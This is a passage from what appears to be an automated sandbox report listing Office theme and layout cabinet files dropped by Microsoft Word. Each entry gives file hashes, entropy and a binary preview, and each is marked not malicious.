Preview:	MSCF....g.......D...........................g....?..........}.......................TabList.glox.................Content.inf....t....[......@..C...../.U5...........6...`.....T..>3.................=..09`..t......a..Y..BI.Z....=.'0...%...T..........H...>.:A.r......n..p...Pf.h...I.8... ....M.]&.#.vv'.....[c......g....>"......<c..f....i...sb!Z..iu<.%\|......q.....G28.h-...7.....W.v...RtdK..F~.0.3.'.e..b7.c......a.3.....a\..]...gp8.+.u/}.w.qF........8.=.=\|....\~..S.-q}]0...q.B.H.^J...!...a'.2Tn!..."..%........=.e_-.....{o..%o...a`.w..L.5..r.....e.8...pO..RE.Wgr..b.%.E...O.......8s...E....Um].C..M.....[...H.FZ..4...eZI.$..v.3<]..r....B..............8i......e<.D...Q4.q.^S.....H.b.......r.q..0o.......2..PP,."...JI...xU`.6f..K..Q9.Q..h..t....AI.S6...7............X..`dv..r..S....),7ES....#.....(...\.nh...X.ps%l..F...."<_....q....v........_.e.....P.........\|&..fi..4..@..^0..v.]7.......^. ."..}(...w.g.X...=<....p.......L...P..XV....@:....N...Y....

C:\Users\user\AppData\Local\Temp\cab8A16.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft Cabinet archive data, many, 5213 bytes, 2 files, at 0x44 "rings.glox" "Content.inf", flags 0x4, number 1, extra bytes 20 in head, 1 datablock, 0x1203 compression
Category:	dropped
Size (bytes):	21357
Entropy (8bit):	7.641082043198371
Encrypted:	false
SSDEEP:	384:zdx+NRrogu6fzCI7Th7G8E0GftpBjEzZq4FLrHRN7/Oll7PK/pB:/+NRrFf/G8Pi6zZb/GIB
MD5:	97F5B7B7E9E1281999468A5C42CB12E7
SHA1:	99481B2FA609D1D80A9016ADAA3D37E7707A2ED1
SHA-256:	1CF5C2D0F6188FFFF117932C424CC55D1459E0852564C09D7779263ABD116118
SHA-512:	ACE9718D724B51FE04B900CE1D2075C0C05C80243EA68D4731A63138F3A1287776E80BD67ECB14C323C69AA1796E9D8774A3611FE835BA3CA891270DE1E7FD1F
Malicious:	false
Preview:	MSCF....].......D...........................]....?..........{.......................rings.glox.................Content.inf..\|^.....[......P........<.$.."..0R..xa.Ax#B..d... ....K,.....^.H.....H.........&.j.\f.. ..,....,..!k..R..e..!...E...........................><.RB.....~h...........Q................g..M\|,...x.....qV7.u..\...F-N.{-..X..&Zig.~..{.A.p.Z...X..{,-n............`$.%.ND.....>].6cvZ.%d..a.$..-.K.Hf....L..;.#...H....U,........P.@.-$C.,.g...%YJE..$.jP........b...Y<..[U...MF]F.K...1... x.}3w.o.#,.}T.....w5+...=.=...c.F^....OM.=.......G_{n.*...WC.w!......{/.~.}..s..6_......)..Xy...4.....<..XZJ........#~._i....%..fM.V.?.q...q.....7...B..sVt...(.:..c....~.e...kGZ...C..(J..o...`...?.)-.T.l....&...gR.$.....g.:...2.e%F.....x....z0...K..a8B...........D..]....7....~.".DR...r)...}b)e.>.\h~f...(}.c........Q...o5H.........C.KC.(.L.l................R..a.pg{..\.......-b........}.C......qTS..%..r.lG..Q.1..Z.>a.D...tC..LV...Rs.C.M18x.:......%O.

C:\Users\user\AppData\Local\Temp\cab8A28.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft Cabinet archive data, many, 3144 bytes, 2 files, at 0x44 "VaryingWidthList.glox" "Content.inf", flags 0x4, number 1, extra bytes 20 in head, 1 datablock, 0x1203 compression
Category:	dropped
Size (bytes):	19288
Entropy (8bit):	7.570850633867256
Encrypted:	false
SSDEEP:	384:5ZII4Hf+7G8E0GftpBjCwBFLrHRN7bcClvQyUTL2mH:pG8PicgbcAvU+mH
MD5:	B9A6FF715719EE9DE16421AB983CA745
SHA1:	6B3F68B224020CD4BF142D7EDAAEC6B471870358
SHA-256:	E3BE3F1E341C0FA5E9CB79E2739CF0565C6EA6C189EA3E53ACF04320459A7070
SHA-512:	062A765AC4602DB64D0504B79BE7380C14C143091A09F98A5E03E18747B2166BD862CE7EF55403D27B54CEB397D95BFAE3195C15D5516786FEBDAC6CD5FBF9CD
Malicious:	false
Preview:	MSCF....H.......D...........................H....?..................................VaryingWidthList.glox.................Content.inf...O.....[.... v.q......R.....>.%i.I.HhD.V...qt.....'....N...!..aw$(J.%(..A..h......l\|.D.p9`..Y09.:.u....p. :,..YD=0.p. ......w...........<..;.....u.."......7[....8.....?^........-..;q.\|.....B....PJ....r.K#.#.0'...}.........+gpR...T....5.iu.^I...A\..gK....}..z.B.nT.../.m.......N....E'1.E.\..o.....W..R.#.#...8.7...R.SbW-...%......$.obj.F..W_@....sY!........s.O..."k. ..b....j....v...P.\....7d...\|"J.T...2p..m.&..r..,2.).....X.`...xt].U...b.h..V.....\|L..N.Z.O#....o...1R.w30.g..?;..C.T.:$..MGY.C"i\.f..#..<.k...m..s.w. ..Ga].....wt.h\|.Ta<.......(SO.]9.%a..Z... r._JH.=O...P.9a.v.....Kj.".T...m...4.?...F...$...y.....hbW.UA..u.&)....py.C{.=t.....n...}\|H3A9.=..W..JJ..y./Y.E.M9..Z..w. .HB.YoIi..i.e..9;n...SpHw,....f....d>..g.m..z...... ...f...KP.M..U.....~vFD.fQ.P?......2!.n.....`@C!G...XI.].s,.X.'...u.E.o..f

C:\Users\user\AppData\Local\Temp\cab8A3A.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft Cabinet archive data, many, 5731 bytes, 2 files, at 0x44 "ThemePictureAlternatingAccent.glox" "Content.inf", flags 0x4, number 1, extra bytes 20 in head, 1 datablock, 0x1203 compression
Category:	dropped
Size (bytes):	21875
Entropy (8bit):	7.6559132103953305
Encrypted:	false
SSDEEP:	384:k73HRpZA6B3ulrnxtRT7G8E0GftpBjEdHqlFLrHRN7uhFlvQyUTL2m4c:k7XRgIkrG8Pi6dmuNvU+mp
MD5:	E532038762503FFA1371DF03FA2E222D
SHA1:	F343B559AE21DAEF06CBCD8B2B3695DE1B1A46F0
SHA-256:	5C70DD1551EB8B9B13EFAFEEAF70F08B307E110CAEE75AD9908A6A42BBCCB07E
SHA-512:	E0712B481F1991256A01C3D02ED56645F61AA46EB5DE47E5D64D5ECD20052CDA0EE7D38208B5EE982971CCA59F2717B7CAE4DFCF235B779215E7613AA5DCD976
Malicious:	false
Preview:	MSCF....c.......D...........................c....?..................................ThemePictureAlternatingAccent.glox.................Content.inf...3.....[.... .qq...........\<.^......o."......f.o...x.{..q..^.MH^...........{0.K....4pX.i...@6A4X.P.01d....'p.......zA.......... .......7.......a. `.=!@- ......>G.s.k~@.a.lfha:m....1...@.,G`....{....W..N..qs.......j.+TrsT.l.9..L...1+...d..-u..-.......).#u&...3......k.&C...DdZ.'.......8..<PF..r.eq.X6...u..v...s5.m.Q.l.G%.<.]....RV<...S..Dv..s.r.......dh.N.3-.Hf'.....3.GZ..E.kt.5......h...\|...?!.L....~.)..v....:2.../F.,....o.qi.i7..E.\|.mh.R_.@A.FO@i.....Feo...x.l...{E.\W9\|V...=#..3..(......tP.:i....Ox.U.N...%6...p.6&.....<zh.z.\|.<Z.?.k....y7m...F.Z$-.:.l.h...{T..7....?..T...d,r...z?../...`/Z......a.v@)....u......V..v.:.._.\|.'..[..O.s.OAt-."b.In"..I...J*.~H.:-...?..uV....dZ;z:.l.{.E.,.Q..i]:.0r.I.y..f...../j.wN...^R.....u....>..}....f.f...]A..C~;/....%..^#..N.a..........99.....`.....%..iS....S......$....)

C:\Users\user\AppData\Local\Temp\cab8A7E.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft Cabinet archive data, many, 26644 bytes, 2 files, at 0x4c "Element design set.dotx", iFolder 0x1 "Content.inf", 2 cffolders, flags 0x4, number 1, extra bytes 20 in head, 2 datablocks, 0x1203 compression
Category:	dropped
Size (bytes):	42788
Entropy (8bit):	7.89307894056
Encrypted:	false
SSDEEP:	768:Hx+UzBiwDQTXgBm029ClGn4BZz6i5kIew/jG8Pi6lYJz1gH:0ZXc29eGn2n5klwjxP7l2z1gH
MD5:	21A4B7B71631C2CCDA5FBBA63751F0D2
SHA1:	DE65DC641D188062EF9385CC573B070AAA8BDD28
SHA-256:	AE0C5A2C8377DBA613C576B1FF73F01AE8EF4A3A4A10B078B5752FB712B3776C
SHA-512:	075A9E95C6EC7E358EA8942CF55EFB72AC797DEE1F1FFCD27AD60472ED38A76048D356638EF6EAC22106F94AFEE9D543B502D5E80B964471FA7419D288867D5D
Malicious:	false
Preview:	MSCF.....h......L............................h...?..................@g......o...............Element design set.dotx.................Content.inf.Y/..Re..[......f........,..]....D.],....]..X.......XC4pE.....p........2..u;L.N.....]G..d.^d.$).e.=..;..Kb.../.../....H.."...w$._I..5.....a..4.Gd5p......v.8..1..%H..\..e...3.e..A..).d.. . (.8.".......(>..<...@...~v&.f..LWhqk]+Uep.d..%...o.....k.......e...nNN.&_.>.d.?H`"...r?..Z.p..q..<M.N.t....{.y]#...._XW"qI...x.......}.. .N...;.}:..m8...[.r.F....^?...o...u.....J3.V....~...~tn#.Kf6.s.\|*..,s...M.$.f..?Yu.pE.1_wU...%....._..'..Z......y:.{.J5..7..Q.w}/.~.-3~Ctw=..IT.....mI.u@...y.M....2.%...y...Y..j.k<-.Q.r...7m..b...+.6..\|.....U..}[...,....^....5..D..qW...[3).p.Y<.Hh..t...%cw=Z..W.~W.F....zr.4.g...O...P.g_^..3.-............3s...S..y...u...N...EsJz....tT../..c[w{cG....../6.....:.W<d5}.q..s..K"$........Ne..5..#.v'..n4.rj....Fc=....5..VN.....6..9`....\|..........WX..-?..........W.)^`1.......].R2..s6...H.......

C:\Users\user\AppData\Local\Temp\cab8A9F.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft Cabinet archive data, many, 704319 bytes, 2 files, at 0x44 +A "content.inf" +A "Wood_Type.thmx", flags 0x4, ID 5778, number 1, extra bytes 20 in head, 51 datablocks, 0x1503 compression
Category:	dropped
Size (bytes):	723359
Entropy (8bit):	7.997550445816903
Encrypted:	true
SSDEEP:	12288:NPnBZX7wR3tMwYqNDQGnXTtfzO5U7yo6O7bLhe8yE3LLDok4a:JBMbYE7xzO5U917bLh/DL3oJa
MD5:	748A53C6BDD5CE97BD54A76C7A334286
SHA1:	7DD9EEDB13AC187E375AD70F0622518662C61D9F
SHA-256:	9AF92B1671772E8E781B58217DAB481F0AFBCF646DE36BC1BFFC7D411D14E351
SHA-512:	EC8601D1A0DBD5D79C67AF2E90FAD44BBC0B890412842BF69065A2C7CB16C12B1C5FF594135C7B67B830779645801DA20C9BE8D629B6AD8A3BA656E0598F0540
Malicious:	false
Preview:	MSCF....?.......D...........................?...`J..............3..............M.. .content.inf..+.........M.. .Wood_Type.thmx......r..[.........................!.wwwwqwwwwwwwwwww..."....+......nR..x..\..w..r.5R.....(\|.>.$e3.!..g....f..`9NL......o./.O.bxI...7.....\|........6.n."J.....4^g.........?...................o.......s3.....8. .T.j...._.Z.Q.t.k,(o.c.t.......?Z....`o........?.a....6.)....6b..../.t...........Mz....q}......C.......+{.......o...K.tQjt............7.._....O.....\....` ..............@..`....%..t....V.]........m..m....u..1.yr;..t..F.'..+{....zqvd.g._..$H..Vl...m..../....g..rG.....:......8....h...[...a06...U.W....5.Z.W..1I..#.2.....B3...x....$PRh...\{J.c.v.y..5+Y.W.N..hG......<..F..W.d8_....c...g....p\|7.]..^.o.H.[$Zj..{4......m.KZ..n.T%...4.Z..Y."q7?kuB......U....).~.......W%..!.e.U.mp.o...h...?.w...T.s.YG#......Y.}....Z.O.i.r,...n..4.\....P..m..=....f........v....g....j....wP..4.VK.y.z...C..oum.b.1......?.Z.>.7.!?......A..Q>..Z....-

C:\Users\user\AppData\Local\Temp\cab8ABF.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft Cabinet archive data, many, 6196 bytes, 2 files, at 0x44 "ThemePictureGrid.glox" "Content.inf", flags 0x4, number 1, extra bytes 20 in head, 1 datablock, 0x1203 compression
Category:	dropped
Size (bytes):	22340
Entropy (8bit):	7.668619892503165
Encrypted:	false
SSDEEP:	384:GByvLdFHny7G8E0GftpBjE8upFLrHRN778lvQyUTL2mm2y:Oy3HkG8Pi6887mvU+ma
MD5:	8B29FAB506FD65C21C9CD6FE6BBBC146
SHA1:	CE1B8A57BB3C682F6A0AFC32955DAFD360720FDF
SHA-256:	773AC516C9B9B28058128EC9BE099F817F3F90211AC70DC68077599929683D6F
SHA-512:	AFA82CCBC0AEF9FAE4E728E4212E9C6EB2396D7330CCBE57F8979377D336B4DACF4F3BF835D04ABCEBCDB824B9A9147B4A7B5F12B8ADDADF42AB2C34A7450ADE
Malicious:	false
Preview:	MSCF....4.......D...........................4....?..................1...............ThemePictureGrid.glox.....1...........Content.inf....K..5.[.... V.q......B.....?.h.i.J.D...Z...>.....i~...A...Z....H.hy.D..X.....>...L.I..`. z w0}.K`.C{h....W\../.U..p\%...B...;............9..8.^M.....].lP.p...\|..?..M....E..S.`..-n........Q'.'.o..C}=..?`.bQ...J"0f.. ....k3n..F.Pu..#...w].`<...."D.].-.#+):..fe..=<.M...4..s.q.f._.=.T.M..U.[R.kbw.,......t6_I...~.X..$_.q....}2..BR...).[...<.l.3........h%....2.$`>..hG...0.6.S......._3.d~1.c.2g....7tTO..F.D.f.Y..WCG.B..T....Gg&.U'....u.S/......&6w..[bc.4....R.e..f.,....l."........I....J.=~...$x.&2...+,-.;.v.'.AQ.fc...v._..rZ..TYR...g?..Z..!.3mP dj...../...+...q.....>..../...]P.z?DW&.p..GZ....R5n......,..]{].0m.9...o.{...e."...8VH....w"%;.g\.K..p.}....#r.u..l.vS...Y.7U.N-E@.....~....E...x.....C.......{NP....5Ymk.*._.K...Z...f..;.......b.....,._@B..\.S..d.'\rs..].}.5"XJU.J..'.zk}.+P.)C.X.?9sx.D....(K....P^N_D...Z.........

C:\Users\user\AppData\Local\Temp\cab8B10.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft Cabinet archive data, many, 206792 bytes, 2 files, at 0x44 +A "content.inf" +A "View.thmx", flags 0x4, ID 33885, number 1, extra bytes 20 in head, 15 datablocks, 0x1503 compression
Category:	dropped
Size (bytes):	222992
Entropy (8bit):	7.994458910952451
Encrypted:	true
SSDEEP:	6144:k8/c2cF9GTLqsTmYstUdx+dwb2ooiVOfiI17zWbQ:jbzqGdpbZ/Mf3h68
MD5:	26BEAB9CCEAFE4FBF0B7C0362681A9D2
SHA1:	F63DD970040CA9F6CFCF5793FF7D4F1F4A69C601
SHA-256:	217EC1B6E00A24583B166026DEC480D447FB564CF3BCA81984684648C272F767
SHA-512:	2BBEA62360E21E179014045EE95C7B330A086014F582439903F960375CA7E9C0CF5C0D5BB24E94279362965CA9D6A37E6AAA6A7C5969FC1970F6C50876582BE1
Malicious:	false
Preview:	MSCF.....'......D...............]............'..H?..........z..................M{. .content.inf..l.........M{. .View.thmx......R..[...........@...G...I..(J.....B....Q!....}Ju..(BR..._\|.5.%.....6m...........?.w{.rm,....#....;Ba#.:v...Dv.."u.v{!...f}......!......:.S.......".z.f.......==.n.0Km0eh.Kbm.C.r.6.........d..h.....{..w..}....2sb...rvm..x...0(..B... ...BH.r#.@..d".*..F+...Q.sx.....?...d.d.eZ2W2.2d...q.I....4.e4....#.....K...3...1.p.y......>.~V....cm....n^..b.{..._D?..AG...'...k.L&..h}=p.....Wl....(.......>.~.].....'.4.W{......../......7.....'.s...w...6..hn..e.2.).l]u.v4...GF.X..X..X....G.i.\..y.g&.<&ti......Sp,j.....>I..S..%.y..........S..-).+...>...D..............[...d...jt.~<x.a(.MDW..a..ZI.;+..!,.$...~>#...).R4...K.$.Zm......b...........{..._..A{.}..r...X...T.ZI.T.).J...$.".U,.9...r.z.)......}...()<....m....QS.p...;?..5.W~2r.EZu..P.1.%'l.........+/6.Mm.\|2....Ty..f.o.S.....3J.._...X,..m....:..1.<GqFy.QA9W4.=....n...ZP...O.\.[...:8.%.^..H.....

C:\Users\user\AppData\Local\Temp\cab8B21.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft Cabinet archive data, many, 243642 bytes, 2 files, at 0x44 +A "content.inf" +A "Metropolitan.thmx", flags 0x4, ID 19054, number 1, extra bytes 20 in head, 24 datablocks, 0x1503 compression
Category:	dropped
Size (bytes):	261258
Entropy (8bit):	7.99541965268665
Encrypted:	true
SSDEEP:	6144:9blShNYrHNn0JU+D+kh8CIjXHWC7X0nZLC9Ge2KY/WfI:9ZSTYrtn0Sk+CIDHWC7chVKYx
MD5:	65828DC7BE8BA1CE61AD7142252ACC54
SHA1:	538B186EAF960A076474A64F508B6C47B7699DD3
SHA-256:	849E2E915AA61E2F831E54F337A745A5946467D539CCBD0214B4742F4E7E94FF
SHA-512:	8C129F26F77B4E73BF02DE8F9A9F432BB7E632EE4ABAD560A331C2A12DA9EF5840D737BFC1CE24FDCBB7EF39F30F98A00DD17F42C51216F37D0D237145B8DE15
Malicious:	false
Preview:	MSCF............D...............nJ...............D.................."..........M. .content.inf....."......M. .Metropolitan.thmx...cVtP..[.....`Q..B.....=.T.....h.."...Z..\|..}hZK.V....Z..Z................?..v...[S$."...H......^u.%.@...>....... f.........1.5......&lm.tZ.msz:...Noc....1....D .........b..... ..3#pVp....}oo]{m......H[%i.GNHB1D<......(# ....H"....DP..b(B.<.....v......_..`.7..;.}............/.p}.:vp....~l0..].........S....G?.....}..U.;......dNi..?........-c..J.z....Z...._.O.....C..o.,......z....F....sOs$..w9......2G..:@...'....=.....M..am.....S......(`.._....'......[..K"....BD...D...^1k.....xi...Gt....{k@.W.....AZ+(,...+..o......I.+.....D..b. T.:..{..v.....g..........L.H.`...uU~C.d...{...4.N.N..m8..v.7..3.`.....,...W...s.;.fo.8.Y...2.i...T&.-...v8..v.U.Y=...8..F.hk..E.PlI.t.8......A.R....+.]lOei..2...... gS.......%8H.....<.U.D..s.....>.....D_...../....l.......5O1S~.........B.g.++cV.z.f .R.Z.......@6....(..t^5"...#G...

C:\Users\user\AppData\Local\Temp\cab8B32.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft Cabinet archive data, many, 279287 bytes, 2 files, at 0x44 +A "Basis.thmx" +A "content.inf", flags 0x4, ID 55632, number 1, extra bytes 20 in head, 18 datablocks, 0x1503 compression
Category:	dropped
Size (bytes):	295527
Entropy (8bit):	7.996203550147553
Encrypted:	true
SSDEEP:	6144:nwVaEqsf23c9shf6UyOGgDWDn/p3fd+zkPWnvGL3n9bQnkmVheyqtkl:MlPfW6sVEDn/pPdhWnvGL36zyyqal
MD5:	9A07035EF802BF89F6ED254D0DB02AB0
SHA1:	9A48C1962B5CF1EE37FEEC861A5B51CE11091E78
SHA-256:	6CB03CEBAB2C28BF5318B13EEEE49FBED8DCEDAF771DE78126D1BFE9BD81C674
SHA-512:	BE13D6D88C68FA16390B04130838D69CDB6169DC16AF0E198C905B22C25B345C541F8FCCD4690D88BE89383C19943B34EDC67793F5EB90A97CD6F6ECCB757F87
Malicious:	false
Preview:	MSCF.....B......D...............P............B..p?..........{.................M.. .Basis.thmx...........M.. .content.inf.`g..td..[...............5..$..WM.....R.......H\.+\./^...x.^..h..MU..\........v........+......g...$.......g.....~....U].7..T..1k.H...1...c.P.rp.6K..&......,.............U4.WoG.w.....;.....v..922.;]..5_-]..%E]b..5]... (..H..II..ttA4Q..BI!\|...H.7J.2D....R.......CXhi`n....6..G.~&.[..N...v..Z"t.a..K..3..).w...._@.}.}.v.......4......h....R;.8.c&.F...B^....Q.....!Bm2...F.`.......M;...#.{....c...?...e...6t..C.-.E.V.v%I..H.....m.n...$D.....vU'.....=6}~...Gw...Y..?.@......G.....k......z...5d.h......1.}..O*;e..t......Y.0...3.v).X.-.2.....~....14.[.w=I....hN....eD..7G.u.z..7.do..!....d..o.wQ.:....@/.^..<e.-..=\.....6.C.'.rW$..Cp.M3.u6z......Q.F.9.5....juc..I...m4]7L....+n......).t......2[.3.p.:.....O5y..wA........^..!..H....{..S.3w.!&.'.;...(..\|m.x.S..Z.j..3...n..WU...../w.......xe=.+.D...x..qy.S.....E..... ...uu.`.,..<.6[p

C:\Users\user\AppData\Local\Temp\cab8B43.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft Cabinet archive data, many, 252241 bytes, 2 files, at 0x44 +A "content.inf" +A "Frame.thmx", flags 0x4, ID 34169, number 1, extra bytes 20 in head, 16 datablocks, 0x1503 compression
Category:	dropped
Size (bytes):	271273
Entropy (8bit):	7.995547668305345
Encrypted:	true
SSDEEP:	6144:zfdvQnJMwXse4Vradf3mrC7woyWbjKlCVC7K:zfJwJse4VrS1AK
MD5:	21437897C9B88AC2CB2BB2FEF922D191
SHA1:	0CAD3D026AF2270013F67E43CB44F0568013162D
SHA-256:	372572DCBAD590F64F5D18727757CBDF9366DDE90955C79A0FCC9F536DAB0384
SHA-512:	A74DA3775C19A7AF4A689FA4D920E416AB9F40A8BDA82CCF651DDB3EACBC5E932A120ABF55F855474CEBED0B0082F45D091E211AAEA6460424BFD23C2A445CC7
Malicious:	false
Preview:	MSCF....Q.......D...............y...........Q...XJ..........{..................M.. .content.inf.(..........M.. .Frame.thmx.1....b..[.........B.....6....ZZ}....BH..-D..}..V.V-........Z..O.....H.f..........;..@d.`......!..=;.,bp..K.q....s.y....D.qZ)p......D...r.S....s=B.4.).8B....4.a6 ...~........."....#.....}....n.Q.1cH.%c/.U....E..E...!..Da.p....X..G..:.....1.@.....W.'...._........W.c...<.v.k.....&.8......?.h.>d._:-.X.......9..tL}........3.;.N3.D~......>.^?..\|:...}......oT.z.......w..[..}:...._fu........Kk.......L..9..p..e..^......K.%...Mapqhvv..E&.^.....[...9\|"l...9...U......!..w..Nya...~C.yx...w.K..q.z.j.W?t.......DY.x.S2.....]..na.Qj...X.K..^...S.hK.W...Z....s.0...NF...8C.......j.'Zc...k.%...l....S.....OW..o.Qf.x...X.;<.rO].....W.m.e....T.1.6........".....Q.3........l..v.."..I...&......w..4vE...c.s[.3.m..8.q$.....a...)...&:6..,..#..?....;.!.....~.UP.r=.}h.&U......X...]..X.e\u.G<....E....lG.@.Z...10.D@.]....z+-.S....p..Y.PK.:.S..p.....1E`..-

C:\Users\user\AppData\Local\Temp\cab8B63.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft Cabinet archive data, many, 214772 bytes, 2 files, at 0x44 +A "content.inf" +A "Parcel.thmx", flags 0x4, ID 26500, number 1, extra bytes 20 in head, 19 datablocks, 0x1503 compression
Category:	dropped
Size (bytes):	230916
Entropy (8bit):	7.994759087207758
Encrypted:	true
SSDEEP:	6144:OTIPtMXmJWnzPS3pqnkeuJXW+FNx1a72rLiQxEBTR:750nz63/FJRFLISnp+Bt
MD5:	93FA9F779520AB2D22AC4EA864B7BB34
SHA1:	D1E9F53A0E012A89978A3C9DED73FB1D380A9D8A
SHA-256:	6A3801C1D4CF0C19A990282D93AC16007F6CACB645F0E0684EF2EDAC02647833
SHA-512:	AA91B4565C88E5DA0CF294DC4A2C91EAEB6D81DCA96069DB032412E1946212A13C3580F5C0143DD28B33F4849D2C2DF2214CE1E20598D634E78663D20F03C4E6
Malicious:	false
Preview:	MSCF.....F......D................g...........F...?..........\|..................L.. .content.inf.zG.........L.. .Parcel.thmx.>2...R..[...0...........7....B+...BH....{...^.../.....B{...1....+".....<.....$........{.......sD"..j...}... P..w..U..f...6.x8. ...C..F.q.7....T.6p......B.P..L..g......A..43.W`.....{{...u.4...:.bb.4"X..m..)$..@(H. H.tBPTF..,.&.B.'...6..2...n..c%...Z@.(.@.......(.<i.i....P......?......o.......F.M.L......i.....C..7..../.....MQ.0..l.U.s.Fu.......1...p.;.(.}..ogd..<.._.Z......._.......O.J......97...~<...4.c....i..........'k.5.......Q.$..C..E... ..5.7....N.a.[ns6hi..kM....?....X......9q...!O\....0....n.^s.9.6..............;. ..r...rf..C6z..v #.H...O...v/.sl....J.m%.L.Dp.e....uO..g.y....f...].5.........W.....h^[..w.\|.=.ru.\|.M..+.-.B...D.Ma....o.<X SnI....l...{..G..,..y5\W.@..y.;.y ...M..l.....e..A...d.e!.E..3.......k1.......6gY).../....pQ..?..s.W.)+R.S5..../.0..vz.^.......k.....v..9..A.NG...N~#..$.B...s,(.o.@.ar.!.J.....

C:\Users\user\AppData\Local\Temp\cab8B75.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft Cabinet archive data, many, 259074 bytes, 2 files, at 0x44 +A "content.inf" +A "Dividend.thmx", flags 0x4, ID 58359, number 1, extra bytes 20 in head, 18 datablocks, 0x1503 compression
Category:	dropped
Size (bytes):	276650
Entropy (8bit):	7.995561338730199
Encrypted:	true
SSDEEP:	6144:H2a+HFkDF8gpmMt4kzwVVqhSYO6DITxPWgJl1CFExwXyo7N:mlZgFtIVVTuDExeWuv7N
MD5:	84D8F3848E7424CBE3801F9570E05018
SHA1:	71D7F2621DA8B295CE6885F8C7C81016D583C6B1
SHA-256:	B4BC3CD34BD328AAF68289CC0ED4D5CF8167F1EE1D7BE20232ED4747FF96A80A
SHA-512:	E27873BFD95E464CB58B3855F2DA404858B935530CF74C7F86FF8B3FC3086C2FAEA09FA479F0CA7B04D87595ED8C4D07D104426FF92DFB31BED405FA7A017DA8
Malicious:	false
Preview:	MSCF............D................................D..........~..................M. .content.inf............M. .Dividend.thmx..).}.b..[.....`.........?.R...T../..............4..yy....{...f.h..\U......sy.gV0Q.@..A..@..3a.A}........7.q.......8......R....sJ)E..ENr.SB.1..).s.r.J.D.b."..........(.....E$.V........y.5.L....;gY..QK/nni..x..3.<..Q.Q..K.I.....T.z.,F.....{.p.....;8._.&../...........X...}.;[Gk..._.i`m.u.?...s.w...4.....m......l....5..n.?..c..m...,.....{.k.?......sC.............e..1....oL.8./......1._.K:.]..&......O............qo.....Dd/c...6.q.......V.v........h....L..h..C+..V..;O.(7Z]{I%....S3.{h....\...b.......5.ES......Z.4...o.c`..YA....9i....M.s....Z3.oq`....>.i..@.@n.a...x.3.zp.<....vU/.\|^CvE...aD.P&mhvM>.p..B~....."._.......v-.m..w..?._..=...:...k....i.}x.6....Y.i..n....h...j......LZ.....fk..f0.y.T..Vl.;...s.......B6.f.'z.c.\W?...4U)..aJ.;O....L.d7.J.V#Q.....\J.F.?].d}!..y].6..%..~....\|......5...'N.#.....t6.,.E.O."..0fyz....

C:\Users\user\AppData\Local\Temp\cab8C36.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft Cabinet archive data, many, 533290 bytes, 2 files, at 0x44 +A "content.inf" +A "Parallax.thmx", flags 0x4, ID 64081, number 1, extra bytes 20 in head, 29 datablocks, 0x1503 compression
Category:	dropped
Size (bytes):	550906
Entropy (8bit):	7.998289614787931
Encrypted:	true
SSDEEP:	12288:N4Ar9NyDhUQM0Hk86V1YnOIxQ9e6SJbj2OjK:jAG8wa5Qw6SZ2Oj
MD5:	1C12315C862A745A647DAD546EB4267E
SHA1:	B3FA11A511A634EEC92B051D04F8C1F0E84B3FD6
SHA-256:	4E2E93EBAC4AD3F8690B020040D1AE3F8E7905AB7286FC25671E07AA0282CAC0
SHA-512:	CA8916694D42BAC0AD38B453849958E524E9EED2343EBAA10DF7A8ACD13DF5977F91A4F2773F1E57900EF044CFA7AF8A94B3E2DCE734D7A467DBB192408BC240
Malicious:	false
Preview:	MSCF....#......D...............Q...........#...D..........~..................M{. .content.inf............M{. .Parallax.thmx.9... y..[......(..b.P...E.Q.R.".RTH.%.T..F......u.{.+.P.....FK0].F...a{...D4`D..V.../.P,....2.Mx...u......0...E...{A-"J...)jl_.A..T......u.Y....ZG:....V.A.#~.. ..6..............o..X..<.... .......C.ce.f!nA.).p...p........n..................'6w6H6s.j....l...{?.h..........]..l.....v....%..l}A..................3...W_73.j......6...F.../..qG.?........H..).........7.&km....`m2..m.W.q.<../~<..6.78..X~.e+..CCw...T...6....AB..l..._.f......s.e....2....H..r.R.Z....a.,..\Q.q..._SJJ....7.S.R....=f..>....9=....NnC.....].-...\..Z..q..j...q.....Nj..^'..k...Zl.~PRvpz.J..+.C...k.z.w=l.#.............n...C..s.kM.@B{..vL.e....E..(/......f...g..=..V...}...).=s.....y!.,...X.[..[.....\31}..D%...%..+G66.j.v./.e9...P;.o.y..U+...g.g.S.../..B._L..h...Oi.._...:..5ls>>........n6.F.Q..v>..P.r:.a..Z....a...x..D....N...i..=L.u......<;Nv.X/.

C:\Users\user\AppData\Local\Temp\cab8C67.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft Cabinet archive data, many, 624532 bytes, 2 files, at 0x44 +A "content.inf" +A "Quotable.thmx", flags 0x4, ID 13510, number 1, extra bytes 20 in head, 30 datablocks, 0x1503 compression
Category:	dropped
Size (bytes):	640684
Entropy (8bit):	7.99860205353102
Encrypted:	true
SSDEEP:	12288:eV7ivfl+kbkIrWu+2aoRjwv/cSUWauGPo2v65s4QqcT3ZCCz6CSj8aC:fdhr1+3y4MWaC2CO4V+3ZCCDsO
MD5:	F93364EEC6C4FFA5768DE545A2C34F07
SHA1:	166398552F6B7F4509732E148F93E207DD60420B
